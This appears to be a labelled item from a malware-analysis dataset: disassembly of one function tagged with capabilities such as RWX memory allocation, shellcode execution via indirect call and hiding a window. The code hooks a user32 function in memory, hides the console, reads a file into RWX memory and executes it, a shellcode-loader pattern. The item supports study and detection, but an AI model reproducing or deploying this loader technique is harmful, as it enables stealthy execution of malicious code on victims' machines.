Function at 0x10001ed0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001d2a0
mov eax, dword fs:[0]
push eax
sub esp, 0xdc
mov eax, dword [0x10028080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x10024fc8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 7
push 0x10029d3c
push eax
push 0xffffffffffffffff
mov dword [0x10029d44], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10001f85
mov ecx, dword [0x10029d44]
mov eax, 0x10001e70
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub eax, ecx
sub eax, 5
mov dword [ebp - 0x14], 0
mov dword [0x10028af9], eax
lea eax, [ebp - 0x14]
push eax
push 0x40
push 7
push ecx
call esi
push 0
push 7
push 0x10028af8
push dword [0x10029d44]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 7
push dword [0x10029d44]
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xb8
lea eax, [ebp - 0xe8]
push 0
push eax
call fcn.10007bb0
push ecx
lea ecx, [ebp - 0xe8]
call fcn.10003170
cmp dword [ebp - 0x8c], 0
jne 0x10001fd7
mov edx, 0x10024ffc
call fcn.100048a0
push eax
call fcn.10004b60
add esp, 4
or edi, 0xffffffff
jmp 0x10002145
push 2
sub esp, 8
lea ecx, [ebp - 0xe8]
call fcn.10003720
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0xe8]
call fcn.10003620
push 0
sub esp, 8
lea ecx, [ebp - 0xe8]
call fcn.10003720
mov ecx, dword [ebp - 0x28]
xor esi, esi
mov edx, dword [ebp - 0x24]
mov edi, ecx
add edi, dword [ebp - 0x30]
xor ebx, ebx
test edi, edi
je 0x10002074
cmp edi, 0x7fffffff
ja 0x100021db
cmp edi, 0x1000
jb 0x10002054
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x100021e0
push eax
call fcn.10006141
add esp, 4
test eax, eax
je 0x100021d6
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x1000205f
push edi
call fcn.10006141
add esp, 4
mov esi, eax
push edi
push 0
push esi
lea ebx, [esi + edi]
call fcn.10007bb0
mov edx, dword [ebp - 0x24]
add esp, 0xc
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x30]
adc edx, dword [ebp - 0x2c]
push edx
push ecx
push esi
lea ecx, [ebp - 0xe8]
call fcn.10003860
lea ecx, [ebp - 0xd8]
call fcn.10004040
test eax, eax
jne 0x100020c0
mov eax, dword [ebp - 0xe8]
lea ecx, [ebp - 0xe8]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001d30
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x30]
push 0x40
push 0x1000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x100020f4
mov edx, 0x10025014
call fcn.100048a0
push eax
call fcn.10004b60
add esp, 4
or edi, 0xffffffff
jmp 0x10002117
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x30]
push ecx
push esi
push edi
call fcn.10007620
add esp, 0xc
call edi
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
test esi, esi
je 0x10002145
sub ebx, esi
cmp ebx, 0x1000
jb 0x1000213b
mov ecx, dword [esi - 4]
add ebx, 0x23
sub esi, ecx
lea eax, [esi - 4]
cmp eax, 0x1f
ja 0x100021d6
mov esi, ecx
push ebx
push esi
call fcn.10006171
add esp, 8
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xe8], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xec], eax
lea ecx, [ebp - 0xd8]
call fcn.10002e10
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xe8], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xe8]
mov edx, dword [eax + 4]
lea ecx, [edx - 0x18]
mov dword [ebp + edx - 0xec], ecx
lea eax, [ebp - 0x78]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x78], vtable.std::ios_base.0
call fcn.10005a66
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000612e
mov esp, ebp
pop ebp
ret
call fcn.1000c359
call fcn.10005380
call fcn.100011d0
int3